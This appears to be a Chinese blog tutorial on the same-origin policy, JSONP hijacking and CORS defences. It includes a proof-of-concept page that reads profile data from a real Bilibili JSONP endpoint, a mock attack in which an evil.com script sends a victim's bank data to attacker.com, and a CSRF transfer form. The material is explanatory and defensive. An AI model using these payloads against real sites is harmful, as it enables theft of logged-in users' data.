JSONP是为了跨域请求需求而产生的,所以先从浏览器的同源策略开始讲起。
JSONP劫持,属于前端安全相关。
同源策略
设计初衷:
前端浏览器中有两个安全机制,一个浏览器沙盒(Sandbox),另一个就是同源策略(Same Origin Policy,简称SOP) 。
同源策略(Same-Origin Policy)是浏览器的一项核心安全机制,用于限制不同“来源”的网页之间的交互。它的核心目标是 防止恶意网站窃取用户数据或进行未授权的操作,保护用户隐私和网站安全。
同源策略的定义:
两个 URL 的 协议(Protocol)、域名(Domain)、端口(Port) 三者完全相同,才属于“同源”。
只要有一个不同,则视为“跨源”(Cross-Origin)。
总结:同源是指同协议
、同域名
、同端口
,必须三同,缺一不可。
下面表格列举了一些例子,为方便读者了解哪些是属于同源:
根据这个策略,a.com域名下的JavaScript无法跨域操作b.com域名下的对象。如下流程图:
比如8080端口内的脚本去请求9090,则会默认被浏览器拦截。
为什么需要同源策略?
-
假设没有同源策略,用户登录了 bank.com,浏览器保存了该网站的 Cookie。
-
用户访问了恶意网站 evil.com。
-
evil.com 的页面可以随意向 bank.com 发起请求,自动携带用户的 Cookie,窃取账户数据或伪造转账。
同源策略的意义:
-
隔离不同源的资源:确保网站 A 的代码无法随意访问或操作网站 B 的资源。
-
保护用户身份凭证:防止跨站请求伪造(CSRF)和敏感数据泄露。
同源策略的限制范围:
-
读取跨域数据
AJAX / Fetch 请求:不能直接读取跨域接口的响应数据(除非服务器明确允许)。
Cookie / LocalStorage:无法读取其他源的 Cookie 或本地存储。 -
操作跨域 DOM
iframe 嵌套不同源页面:父页面无法通过 JavaScript 访问子页面的 DOM。 -
发送跨域请求(部分限制)
表单提交、图片加载、脚本加载:允许发送跨域请求,但无法读取响应内容。
问题的引入:
不同源也意味着不能跨站请求,因为同源策略不允许跨站请求对方资源,相互要隔离开。这个限制有安全上的考虑。
但是,一些业务就是需要进行跨域操作的,同源策略显然就阻挡了业务需求。
比如现在的互联网公司都发展得大,比如XX公司有好几个独立的应用(APP),不同的三级域,你在登录shopping.XX.com的时候,也会用到play.XX.com域名,其实他们都是同一集团XX.com下面的,他们的Cookie是共用的,让他们多次登录显然不友好。
问题来了,那在这种情景下,怎么做到跨域请求的呢?
解决方法有很多种:
- JSONP
- CORS
- 代理服务器
- ......
下面来讲解JSONP,以及JSONP劫持。
JSONP原理
JSONP定义:
JSONP(JSON with Padding)是资料格式JSON的一种“使用模式”,可以让网页从别的网域获取资料。
该模式允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。
- -. ,wiki上的定义,还是一如既往的生涩难懂。
JSONP的由来
云里雾里,对于很多刚接触的人来讲理解起来有些困难,着用自己的方式来阐释一下这个问题,看看是否有帮助。
1、一个众所周知的问题,Ajax直接请求普通文件存在跨域无权限访问的问题,甭管你是静态页面、动态网页、web服务、WCF,只要是跨域请求,一律不准。
2、不过我们又发现,Web页面上调用js文件时则不受是否跨域的影响(不仅如此,我们还发现凡是拥有”src”这个属性的标签都拥有跨域的能力,比如<\script>、<\img>、<\iframe>)。
3、于是可以判断,当前阶段如果想通过纯web端(ActiveX控件、服务端代理、属于未来的HTML5之Websocket等方式不算)跨域访问数据就只有一种可能,那就是在远程服务器上设法把数据装进js格式的文件里,供客户端调用和进一步处理。
4、恰巧我们已经知道有一种叫做JSON的纯字符数据格式可以简洁的描述复杂数据,更妙的是JSON还被js原生支持,所以在客户端几乎可以随心所欲的处理这种格式的数据。
5、这样子解决方案就呼之欲出了,web客户端通过与调用脚本一模一样的方式,来调用跨域服务器上动态生成的js格式文件(一般以JSON为后缀),显而易见,服务器之所以要动态生成JSON文件,目的就在于把客户端需要的数据装入进去。
6、客户端在对JSON文件调用成功之后,也就获得了自己所需的数据,剩下的就是按照自己需求进行处理和展现了,这种获取远程数据的方式看起来非常像AJAX,但其实并不一样。
7、为了便于客户端使用数据,逐渐形成了一种非正式传输协议,人们把它称作JSONP,该协议的一个要点就是允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。
真相是,由于大多数程序员喜欢把 jsonp
的回传参数命名为回调函数名,久而久之就默认这种模式叫jsonp。(哭笑不得 - -。)
流程图:
todo
随着跨域技术带来了便利,同样的,粗略的JSONP部署很容易受到跨站请求伪造(CSRF/XSRF)的攻击,带来了安全风险。
JSONP劫持的危害
B站的JSONP跨域请求流程——案例
1.登陆B站之后,进入B站的个人中心页面:https://space.bilibili.com/9996xxx1
2.打开F12调试工具,查看是否有跨站请求,通过查看url 是否有callback=
常见的回传参数命名:
// 可以通过文本搜索,锁定目标
callback=attack
cb=attack
call=attack
jsonp=attack
jsonpcallback=attack
jsonpcb=attack
json=attack
jsoncallback=attack
jcb=attack
......
现在所在域名是space.bilibili.com
,但是却跨域请求了api.bilibili.com
的数据
检测是否存在JSONP劫持 —— 案例
https://api.bilibili.com/x/space/myinfo?jsonp=jsonp&callback=__jp0
,看到URL的GET参数里面并没有携带token,那么有以下两种方式来测试是否存在JOSONP劫持。
方式一 修改reference
正常重放以下数据包,看到个人信息正常返回。
修改Referer
Referer: https://space.abilibili.com/9996xxx1 ,将space.bilibili.com改成space.abilibili.com
,发现返回信息没有个人信息,意味着不存在JSONP劫持。
方式二 制作恶意脚步
制作一个playload:
<html>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<script type="text/javascript">
function __jp0(result) {
console.log(result);
}
</script>
<script type="text/javascript" src="https://api.bilibili.com/x/space/myinfo?jsonp=jsonp&callback=__jp0"></script>
</html>
或者:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>json 数据获取测试</title>
<script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
<script>function test(data) { alert(JSON.stringify(data)); }</script>
<script src="http://xxxxxx/csrf/jsonp.php?callback=test"></script>
</body>
</html>
-
自己模仿网站的jsonp请求,设置好一样的回调函数,这里只作输出展示,攻击者可以把信息发送到他的邮件;
-
诱骗用户点击你的链接,脚本会自动去请求跨站链接,数据会打到回调接口里;
攻击原理:
为什么 JSONP 能获取身份?
Cookie 自动携带:浏览器默认在同域名请求中自动携带 Cookie,跨站 JSONP 请求也遵循此规则(除非 Cookie 设置了 SameSite=Strict)。
服务器依赖 Cookie 验证身份:服务端通过 Cookie 中的 Session ID 识别用户身份,未校验请求来源是否合法(即未防御 CSRF)。
JSONP劫持的攻击流程
好的!我将通过一个完整的模拟案例,逐步展示黑客如何利用 JSONP 漏洞窃取用户的敏感信息。假设有一个银行网站 bank.com
和一个恶意网站 evil.com
,以下是攻击的全过程:
场景设定
- 银行网站
bank.com
- 提供 JSONP 接口获取用户余额:
https://bank.com/api/balance?callback=handleBalance
- 漏洞:未校验
callback
参数,直接返回数据。
- 提供 JSONP 接口获取用户余额:
- 用户
- 已登录
bank.com
,浏览器保存了登录 Cookie(SessionID=abc123
)。
- 已登录
- 恶意网站
evil.com
- 攻击者制作的钓鱼页面,用于诱导用户点击。
攻击步骤分解
步骤 1:用户登录银行网站
- 用户访问
https://bank.com
,输入账号密码登录。 - 银行服务器验证通过后,返回 Cookie:
Set-Cookie: SessionID=abc123; Path=/; HttpOnly
- 浏览器保存该 Cookie,后续访问
bank.com
的请求会自动携带此 Cookie。
步骤 2:用户访问恶意网站
攻击者通过钓鱼邮件诱导用户访问 https://evil.com
,页面中包含以下代码:
<script>
// 恶意函数:将用户余额发送到攻击者的服务器
function stealData(data) {
const img = new Image();
img.src = `https://attacker.com/steal?data=${encodeURIComponent(JSON.stringify(data))}`;
}
</script>
<!-- 发起 JSONP 请求到银行接口 -->
<script src="https://bank.com/api/balance?callback=stealData"></script>
步骤 3:浏览器发起 JSONP 请求
- 浏览器加载恶意页面时,发现
<script>
标签请求:
https://bank.com/api/balance?callback=stealData
- 自动携带 Cookie:由于请求目标是
bank.com
,浏览器自动附加 Cookie:GET /api/balance?callback=stealData HTTP/1.1 Host: bank.com Cookie: SessionID=abc123
步骤 4:银行服务器返回数据
- 银行服务器收到请求后:
- 检查 Cookie 中的
SessionID=abc123
,确认用户已登录。 - 未校验
callback
参数,直接拼接数据:stealData({ "user": "张三", "balance": "100000" });
- 检查 Cookie 中的
- 响应返回浏览器:
HTTP/1.1 200 OK Content-Type: application/javascript stealData({"user": "张三", "balance": "100000"});
步骤 5:恶意代码执行
-
浏览器收到响应后,将其视为 JavaScript 代码执行,调用
stealData
函数:stealData({ "user": "张三", "balance": "100000" });
-
stealData
函数将用户数据通过Image
请求发送到攻击者的服务器:GET https://attacker.com/steal?data={"user":"张三","balance":"100000"}
步骤 6:攻击者窃取数据
- 攻击者的服务器(
attacker.com
)收到请求,记录窃取的数据:{ "user": "张三", "balance": "100000" }
- 攻击者利用这些信息进行诈骗、转账或其他非法操作。
关键漏洞分析
- Cookie 自动携带
用户已登录bank.com
,浏览器自动在 JSONP 请求中附加 Cookie,服务器误认为是合法用户。 - 未校验回调函数名
银行未过滤callback
参数,允许攻击者指定任意函数名(如stealData
)。 - 动态执行远程代码
JSONP 的本质是让浏览器执行服务器返回的代码,攻击者通过控制回调函数名注入恶意逻辑。
总结
- JSONP 攻击的危害:通过控制回调函数名,诱导服务器返回恶意代码,窃取用户敏感数据。
- 攻击条件:用户已登录目标网站 + 目标网站的 JSONP 接口存在漏洞。
- 防御核心:服务端校验输入 + 弃用 JSONP + 加固 Cookie 安全。
JSONP劫持与CSRF的比较
利用上相同:
- 需要用户点击恶意链接;
- 用户必须登陆该站点,在本地存储了Cookie;
两个不同:
- 必须找到跨站请求资源的回调接口来实施攻击;
- CSRF只管发送http请求;
JSONP劫持的防御方案
JSONP劫持属于CSRF( Cross-site request forgery 跨站请求伪造)的攻击范畴,所以解决的方法和解决CSRF的方法一样。
- 验证 HTTP Referer 头信息;
- 在请求中添加Token,并在后端进行验证;
更详细的防御措施
1. 服务端严格校验回调函数名
防止攻击者可以注入恶意函数名,
// 银行服务器代码示例
const callback = req.query.callback;
// 只允许字母、数字、下划线和美元符号
if (!/^[\w$]+$/.test(callback)) {
res.status(400).send("Invalid callback name");
return;
}
2. 弃用 JSONP,改用 CORS
# 银行服务器设置 CORS 头部
Access-Control-Allow-Origin: https://trusted-website.com
Access-Control-Allow-Credentials: true
3. 设置 Cookie 的 SameSite 属性
Set-Cookie: SessionID=abc123; SameSite=Strict; Secure; HttpOnly
最终极的做法:弃用 JSONP,改用 CORS + CSRF Token,严格管理跨域权限。
下面接着看看CORS是什么?
CORS(跨域资源共享)
CORS(跨域资源共享)通过 服务器显式声明允许的跨域规则 来安全地控制跨域访问,防止恶意网站未经授权获取数据。以下是 CORS 防止跨站攻击的核心机制和详细流程:
一、CORS 防御跨站攻击的核心原理
-
主动权在服务端
CORS 要求服务器通过 HTTP 头部明确声明允许哪些来源、方法和请求头,浏览器强制执行这些规则。- 对比 JSONP:JSONP 的权限完全由客户端控制(攻击者可构造恶意请求),而 CORS 由服务端决定谁可以访问。
-
不依赖执行远程代码
CORS 通过标准 HTTP 头部交换信息,不会像 JSONP 那样动态执行远程代码,避免了代码注入风险。
二、CORS 防御攻击的具体机制
1. 预检请求(Preflight Request)
对于可能携带敏感数据的复杂请求(如 PUT
、DELETE
或自定义头),浏览器会先发送一个 OPTIONS
请求,确认服务器是否允许实际请求。
攻击防御场景:
假设恶意网站 evil.com
尝试向 bank.com
发送 DELETE /user
请求:
-
浏览器发送预检请求:
OPTIONS /user HTTP/1.1 Origin: https://evil.com Access-Control-Request-Method: DELETE Access-Control-Request-Headers: X-Malicious-Header
-
服务器响应:
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://trusted.com # 只允许 trusted.com Access-Control-Allow-Methods: GET, POST # 不允许 DELETE Access-Control-Allow-Headers: Content-Type # 拒绝 X-Malicious-Header
-
浏览器拦截请求:
由于evil.com
不在允许的源列表中,且DELETE
方法未被允许,浏览器阻止实际请求发送。
2. 简单请求的源校验
对于简单请求(如 GET
、POST
),浏览器直接发送请求,但会检查服务器的 Access-Control-Allow-Origin
响应头。
攻击防御场景:
恶意网站 evil.com
尝试读取 bank.com
的用户数据:
-
浏览器发送请求:
GET /userinfo HTTP/1.1 Origin: https://evil.com
-
服务器响应:
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://trusted.com # 未允许 evil.com
-
浏览器拦截响应:
发现Access-Control-Allow-Origin
不包含evil.com
,前端代码无法读取响应数据。
3. 禁止携带身份凭证(默认)
默认情况下,CORS 请求不会携带 Cookie 或 HTTP 认证头,除非显式启用 credentials
选项且服务器允许。
攻击防御场景:
即使恶意网站诱导用户发送 CORS 请求:
fetch('https://bank.com/userinfo', {
credentials: 'include' // 强制携带 Cookie
})
- 服务器需明确允许:
Access-Control-Allow-Origin: https://evil.com # 必须明确指定域名,不能为 * Access-Control-Allow-Credentials: true
- 若服务器未允许,浏览器会拒绝请求。
三、CORS 防御 vs. JSONP 攻击
安全机制 | CORS | JSONP |
---|---|---|
代码执行风险 | 无(纯数据交换,不执行远程代码) | 有(需执行服务器返回的 JS 代码) |
权限控制 | 服务端通过 HTTP 头部精细控制 | 无控制(依赖回调函数名过滤) |
身份凭证管理 | 默认不携带 Cookie,需显式启用并服务端同意 | 自动携带 Cookie,易被利用 |
复杂请求防护 | 预检请求拦截未授权的复杂操作 | 仅支持 GET,无法防御简单请求的 CSRF |
四、CORS 的配置示例(服务端)
以 Node.js 为例,配置安全的 CORS 规则:
const express = require('express');
const app = express();
// 安全配置 CORS
app.use((req, res, next) => {
const allowedOrigins = ['https://trusted.com']; // 白名单
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Methods', 'GET, POST');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
res.setHeader('Access-Control-Allow-Credentials', 'true'); // 谨慎开启
}
// 预检请求直接响应
if (req.method === 'OPTIONS') {
res.status(200).end();
return;
}
next();
});
app.get('/userinfo', (req, res) => {
res.json({ name: '张三' });
});
app.listen(3000);
五、CORS 的局限性
-
不防御 CSRF 攻击
CORS 仅控制跨域数据读取,不阻止跨域请求的发送(如表单提交)。需配合 CSRF Token 防御。<!-- evil.com 页面 --> <form action="https://bank.com/transfer" method="POST"> <input type="hidden" name="to" value="attacker"> <input type="hidden" name="amount" value="1000"> </form> <script>document.forms[0].submit();</script>
-
错误配置导致漏洞
若服务器配置Access-Control-Allow-Origin: *
或过于宽松的白名单,仍可能泄露数据。
六、总结
- CORS 的核心安全机制:服务端声明允许的跨域规则,浏览器强制执行。
- 防御效果:
- 阻止未授权的跨域数据读取。
- 避免执行恶意远程代码(对比 JSONP)。
- 精细控制请求方法和头部,减少攻击面。
- 最佳实践:
- 严格限制
Access-Control-Allow-Origin
为可信域名。 - 启用预检请求拦截复杂操作。
- 避免滥用
Access-Control-Allow-Credentials
。
- 严格限制
Rerference
jsonp原理详解——终于搞清楚jsonp是啥了
https://www.cnblogs.com/lovecode3000/p/12249047.html
jQuery jsonp跨域请求
https://www.cnblogs.com/chiangchou/p/jsonp.html